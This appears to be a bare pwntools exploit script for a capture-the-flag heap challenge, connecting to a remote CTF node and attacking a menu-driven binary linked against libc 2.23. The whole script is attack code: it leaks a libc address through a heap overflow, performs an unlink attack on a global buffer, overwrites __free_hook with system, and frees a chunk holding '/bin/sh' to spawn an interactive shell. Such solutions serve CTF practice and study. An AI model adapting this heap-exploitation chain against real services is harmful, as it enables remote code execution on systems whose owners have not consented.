1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
io = remote("node4.anna.nssctf.cn", 28265)
elf = ELF("./service") libc = ELF("./libc-2.23.so") context(os='linux', arch='amd64')
def debug(): gdb.attach(io)
def malloc(size): io.sendlineafter(b'5. exit\n', b'1') io.sendlineafter(b'please input the size : ', str(size).encode())
def free(idx): io.sendlineafter(b'5. exit\n', b'2') io.sendlineafter(b'which node do you want to delete', str(idx).encode())
def show(idx): io.sendlineafter(b'5. exit\n', b'3') io.sendlineafter(b'which node do you want to show', str(idx).encode())
def edit(idx, message): io.sendlineafter(b'5. exit\n', b'4') io.sendlineafter(b'which one do you want modify :', str(idx).encode()) io.sendafter(b'please input the content', message)
buf = 0x6020C0 malloc(0x30) malloc(0x80) malloc(0x30) free(1) payload = b'a' * 0x40 edit(0, payload) show(0) libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x68 - libc.sym["__malloc_hook"] print(f'libc:{hex(libc_base)}') payload = b'a' * 0x38 + p64(0x91) edit(0, payload) malloc(0x80) payload = p64(0) + p64(0x31) + p64(buf - 0x18) + p64(buf - 0x10) + p64(0) * 2 + p64(0x30) + p64(0x90) edit(0, payload) free(1) payload = p64(0) * 3 + p64(libc.sym["__free_hook"] + libc_base) edit(0, payload) payload = p64(libc_base + libc.sym["system"]) edit(0, payload) edit(2, b'/bin/sh\x00') free(2)
io.interactive()
|